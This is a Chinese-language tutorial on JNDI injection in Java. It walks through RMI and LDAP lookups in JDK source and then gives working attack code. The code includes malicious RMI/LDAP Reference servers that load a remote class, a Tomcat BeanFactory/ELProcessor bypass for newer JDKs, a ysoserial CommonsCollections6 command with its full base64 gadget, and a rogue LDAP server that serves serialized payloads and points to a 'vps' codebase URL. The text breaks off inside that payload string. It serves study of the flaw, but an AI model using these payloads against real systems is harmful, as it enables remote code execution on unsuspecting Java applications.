JNDI专题

JNDI专题

简介

JNDI是什么

**JNDI(Java Naming and Directory Interface,Java命名和目录接口)**是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

简单来说就是一个索引库,将一个名称对应到一个对象(或者属性)上面,并且可以通过指定名称找到相应对象

作用:可以实现动态加载数据库配置文件,从而保持数据库代码不变动等

结构

JDNI包含在JavaSE平台中。要使用JNDI,必须拥有JNDI类和一个或者多个服务器提供者。JDK包括以下命名/目录服务的提供者:

  • 轻量级目录访问协议(LDAP)
  • 通过对象请求代理架构(CORBA)通过对象服务(COS)名称服务
  • Java远程方法调用(RMI)注册表
  • 域名服务(DNS)

在JavaJDK中提供了5个包,有以下几个

1
2
3
4
5
6
7
8
9
javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;

javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;

javax.naming.event:在命名目录服务器中请求事件通知;

javax.naming.ldap:提供LDAP支持;

javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

JNDI简单利用

实现JDNI,我们首先也要把RMIServer启动起来
1
2
3
4
5
6
7
public class RMIServer {
public static void main(String[] args) throws Exception {
IRemoteObj remoteObj = new RemoteObjlmpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("remoteObj",remoteObj);
}
}

后续将JNDIRMIServer也启动起来

1
2
3
4
5
6
7
8
public class JNDIRMIServer {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjlmpl());
// Reference refObj = new Reference("TestRef","TestRef","http://localhost:7777/");
// initialContext.rebind("rmi://localhost:1099/remoteObj",refObj);
}
}

最后通过客户端的远程调用

1
2
3
4
5
6
7
public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

分析

我们不能像RMI之前那样来调用了,但调用的方式其实差不多

首先要做的是创建一个初始化上下文

然后再去寻找,我们需要把协议地址传入

1
2
3
4
5
6
7
public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

我们想,他这里会不会是调用的原生rmi的方法,我们跟进去看一下

最后走到了RegistryContext#lookup的方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}

return this.decodeObject(var2, var1.getPrefix(1));
}
}

这里我们可以看到,调用的是RegistryImpl_Stub的lookup方法

那我们就能知道了,实际这里调用的就是rmi原生的lookup方法

如果说服务端lookup中的参数可控的话,我们就可以用它来查询我们构造的恶意对象

JNDI结合RMI

引用对象

在目录存储对象中支持以下几种对象
  • java可序列化对象
  • 引用对象
  • 属性对象
  • 远程对象
  • CORBA对象

平时我们所说的JNDI所指的是引用对象

我们先来看看,引用对象创建的几个参数

第一个是类名,第二个是工厂名,第三个是工厂的位置

1
2
3
4
5
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}

实现

来看一下它的实现,创建一个引用对象,将TestRef类和TestRef工厂绑定到http://localhost:7777下面,再将引用对象绑定到rmi://localhost:1099/remoteObj

1
2
3
4
5
6
7
8
public class JNDIRMIServer {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
// initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());
Reference refObj = new Reference("TestRef","TestRef","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj",refObj);
}
}

我们这里构造一个恶意类,写入可以弹出计算器的恶意代码

编译好后放在一个文件夹下,开启一个http服务

1
2
3
4
5
public class Test {
public Test() throws Exception {
Runtime.getRuntime().exec("calc");
}
}

然后用JNDI客户端去调用

1
2
3
4
5
6
7
public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

最终成功弹出计算机

小tip

由于调用恶意类的构造函数实在客户端(被攻击端)上执行,所以在编译时候,恶意类的开头不可以带package,否则会报出NoClassDefFoundError错误。

流程分析

其中具体的流程我们也来跟一下

刚才我们也说了,实际它是调用rmi原生的lookup方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}

return this.decodeObject(var2, var1.getPrefix(1));
}
}

从lookup方法得到对象后,发现是一个ReferenceWrapper_Stub对象,而我们实际绑定的是Reference对象

绑定的是Reference而查看的时候是ReferenceWrapper_Stub,那问题肯定出在rebind方法上

1
2
3
4
5
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
Reference refObj = new Reference("TestRef","TestRef","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj",refObj);
}

走入函数里看一下,在调用RegistryImpl_Stubrebind方法时候,名字还是我们传入的名字,而传入的方法是经过了encodeObject之后的对象,也就是对对象进行了一层封装

1
2
3
4
5
6
7
8
9
10
11
public void rebind(Name var1, Object var2) throws NamingException {
if (var1.isEmpty()) {
throw new InvalidNameException("RegistryContext: Cannot rebind empty name");
} else {
try {
this.registry.rebind(var1.get(0), this.encodeObject(var2, var1.getPrefix(1)));
} catch (RemoteException var4) {
throw (NamingException)wrapRemoteException(var4).fillInStackTrace();
}
}
}

我们看一下encodeObject函数的逻辑

如果该对象是一个Reference对象的话,那么就封装进ReferenceWrapper

1
2
3
4
5
6
7
8
9
10
11
12
private Remote encodeObject(Object var1, Name var2) throws NamingException, RemoteException {
var1 = NamingManager.getStateToBind(var1, var2, this, this.environment);
if (var1 instanceof Remote) {
return (Remote)var1;
} else if (var1 instanceof Reference) {
return new ReferenceWrapper((Reference)var1);
} else if (var1 instanceof Referenceable) {
return new ReferenceWrapper(((Referenceable)var1).getReference());
} else {
throw new IllegalArgumentException("RegistryContext: object to bind must be Remote, Reference, or Referenceable");
}
}

接下来我们看一下客户端lookup的逻辑

RegistryContextlookup方法中,我们看到了调用rmi原生lookup的地方,将找到的对象存入var2中(ReferenceWrapper_Stub

在该方法的最后,我们可以看到想对应的decodeObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}

return this.decodeObject(var2, var1.getPrefix(1));
}
}

这里这个方法就是将接受到的ReferenceWrapper_Stub对象,变为我们开始创建的Reference对象

我们快走出RegistryContext类了,但是还是没有对恶意类进行初始化,也就是说,类加载机制是和容器协议无关

return时会走入NamingManagergetObjectInstance方法内

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}

我们看到NamingManager#getObjectInstance,其中有个getObjectFactoryFromReference方法是比较重要的,从名字可以看出来,从引用中得到工厂对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
......

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}

从该方法中可以找进行工厂类的类加载位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
......
}

进入loadClass方法,首先使用的类加载器是AppClassLoader,在本地去寻找,但是本地是肯定找不到的,再近一步

1
2
3
4
5
Class<?> loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, true, cl);
return cls;
}

没找到的话,会从codebase中寻找,找到的话,就会用codebase去进行类加载

1
2
3
4
5
6
7
8
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

这里新建了一个URLClassLoader,将codebase传入

1
2
3
4
5
6
7
8
9
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {

ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);
}

在return中的loadClass中,会去cl中的url路径下找类,然后进行加载

同时这个加载也是进行初始化的加载,若我的恶意代码写在静态代码块的地方,现在计算机已经弹出来了,但是我们的恶意代写在的是构造函数中,必须需要实例化

1
2
3
4
5
Class<?> loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, true, cl);
return cls;
}

而实例化刚好在getObjectFactoryFromReference之中,实例化后就执行了恶意的代码

1
2
3
4
5
6
7
8
9
10
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
......

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

总结

这里存在两个攻击面:
  1. rmi原生问题(这里就没有演示了)
  2. jndi注入

JNDI结合LDAP

LDAP不是java的东西,而是一个通用协议

在jdk8u121后,修复了RMI和COBAR的攻击点,唯独漏下一个LDAP(8u191),所以我们接下来看一下

实现

1
2
3
4
5
6
7
public class JNDILDAPServer {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
Reference refObj = new Reference("TestRef","TestRef","http://localhost:7777/");
initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com", refObj);
}
}

这里我们使用apache Directory Studio来创建一个LDAP服务

启动起来**(这里搞了好久,最后更换jdk11才成功启动)**

我们这里可以看到,已经成功绑定上去了

然后我们创建一个客户端,使用lookup方法去查找一下(还和之前一样,在TestRef.class的位置开启一个http服务)

1
2
3
4
5
6
public class JNDILDAPClient {
public static void main(String[] args) throws Exception {
InitialContext ic = new InitialContext();
ic.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
}
}

将LDAP客户端运行起来,就成功弹出了计算器

分析

经过一系列的lookup调用,最终走到了LdapCtx#c_lookup中,通过调用DirectoryManager.getObjectInstance,走出协议对应的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
var2.setError(this, var1);
......

try {
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
} catch (NamingException var16) {
throw var2.fillInException(var16);
} catch (Exception var17) {
NamingException var24 = new NamingException("problem generating object using object factory");
var24.setRootCause(var17);
throw var2.fillInException(var24);
}
}

走入DirectoryManager#getObjectInstance后,我们发现和rmi的的后半段是基本一样的,进入getObjectFactoryFromReference

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment, Attributes attrs)
throws Exception {

......

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
ref, name, nameCtx, environment, attrs);
} else if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
return refInfo;

} ......
}

这里就和rmi一样了,首先进行本地类加载,若在本地没有找到,则从codebase中查找,若找到则进行类加载,最后进行类的初始化,触发构造函数,弹出计算机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

JDK高版本绕过

JDK8u191之后

本地恶意CLass绕过

在jdk8u191后,LDAP已经修复,在进行codebase远程类加载时候,添加了一个限制条件

如果trustURLCodebase为true时,才能进行远程类加载

更换高版本后,原来的给攻击既不弹计算器,也不会报错

···

既然他不能远程加载对象了,那我们可以想想,是否有本地工厂,可以利用呢?

该恶意Factory必须实现javax.naming.spi.ObjectFactory接口,并实现getObjectInstance()方法

在tomcat的核心包中,存在着一个BeanFactory,它的getObjectInstance方法存在着反射调用的地方,如果说我们这里参数可控,则可以造成代码执行,因此我们这个高版本绕过,是基于tomcat环境的(方法很长,大部分省略)

1
2
3
4
5
6
7
8
9
10
11
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
try {
.......
try {
method.invoke(bean, valueArray);
}
......
}
......
}
实现
我在这里起一个RMI环境
1
2
3
4
5
6
7
public class RMIServer {
public static void main(String[] args) throws Exception {
IRemoteObj remoteObj = new RemoteObjImpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("remoteObj",remoteObj);
}
}

然后起将一个ResourceRef绑定到remoteObj上面,使用客户端的lookup方法进行查询,即可执行恶意代码

1
2
3
4
5
6
7
8
9
10
public class JNDIRMIByPass {
public static void main(String[] args) throws Exception {

InitialContext initialContext= new InitialContext();
ResourceRef ref = new ResourceRef("javax.el.ElProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString","x=eval"));
ref.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')"));
initialContext.rebind("rmi://localhost:1099/remoteObj",ref);
}
}

分析

与前面的调用相类似,经过一些lookup方法的调用,和decodeObject方法过后,走到NamingManager#getObjectInstance中,执行getObjectFactoryFromReference方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
......

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

}
......
}

在这个方法中,首先会在本地进行类加载,与之前的不同,这次可以在本地找到BeanFactory,即可在本地进行加载,最后return时候进行实例化,我们即可获得一个BeanFactory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

返回后,接下来我们要走到factory.getObjectInstance(ref, name, nameCtx,environment)中,也就是BeanFactory#getObjectInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference)obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException var25) {
ClassNotFoundException e = var25;
e.printStackTrace();
}
}

if (beanClass == null) {
throw new NamingException("Class not found: " + beanClassName);
} else {
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.getConstructor().newInstance();
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap();
String value;
String propName;
int i;
if (ra != null) {
value = (String)ra.getContent();
Class<?>[] paramTypes = new Class[]{String.class};
String[] arr$ = value.split(",");
i = arr$.length;

for(int i$ = 0; i$ < i; ++i$) {
String param = arr$[i$];
param = param.trim();
int index = param.indexOf(61);
if (index >= 0) {
propName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}

try {
forced.put(param, beanClass.getMethod(propName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
throw new NamingException("Forced String setter " + propName + " not found for property " + param);
}
}
}

Enumeration<RefAddr> e = ref.getAll();

while(true) {
while(true) {
do {
do {
do {
do {
do {
if (!e.hasMoreElements()) {
return bean;
}

ra = (RefAddr)e.nextElement();
propName = ra.getType();
} while(propName.equals("factory"));
} while(propName.equals("scope"));
} while(propName.equals("auth"));
} while(propName.equals("forceString"));
} while(propName.equals("singleton"));

value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = (Method)forced.get(propName);
if (method != null) {
valueArray[0] = value;

try {
method.invoke(bean, valueArray);
} catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
}
}
}
}
}
}
} else {
return null;
}
}

ra是从引用里获取forceString,我们这里传入的值为x=eval

这里会检查,是否存在=(等于号的ascii为61),不存在就会调用默认属性的setter方法,存在就会取其键值,键为属性名,而值是其指定的setter方法

这里这段代码,把x的setter强行指定为eval方法,这就是我们的关键利用点,之后就会获取beanClass

javax.el.ELProcessoreval方法并同x属性一同放入forced这个HashMap

接着是多个 do while 语句来遍历获取 ResourceRef 类实例 addr 属性的元素,当获取到 addrType 为 x 的元素时退出当前所有循环,然后调用getContent()方法来获取x属性对应的 contents 即恶意表达式。这里就是恶意 RMI 服务端中 ResourceRef 类实例添加的第二个元素

获取到类型为x对应的内容为恶意表达式后,从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量,最后就是通过method.invoke()即反射调用的来执行

LDAP返回序列化数据,触发本地Target

LDAP除了支持JNDI Reference这种利用方法,还支持直接返回一个序列化的对象,若Java对象的javaSerializedData属性不为空,则客户端的obj.decodeObject()方法就会最这个字段的内容进行反序列化

若服务端的ClassPath中存在反序列化利用点的Gadget,例如CC依赖等等,就可以实现LDAP结合该Garget实现反序列化漏洞攻击

我们这里使用CC6来实现攻击

1
java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64
1
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=

恶意LDAP服务器如下(服务端和客户端都要导入CC依赖)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import com.unboundid.util.Base64;  
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class JNDIGadgetServer {

private static final String LDAP_BASE = "dc=example,dc=com";


public static void main (String[] args) {

String url = "http://vps:8000/#ExportObject";
int port = 1234;


try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}


// Payload2: 返回序列化Gadget
try {
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3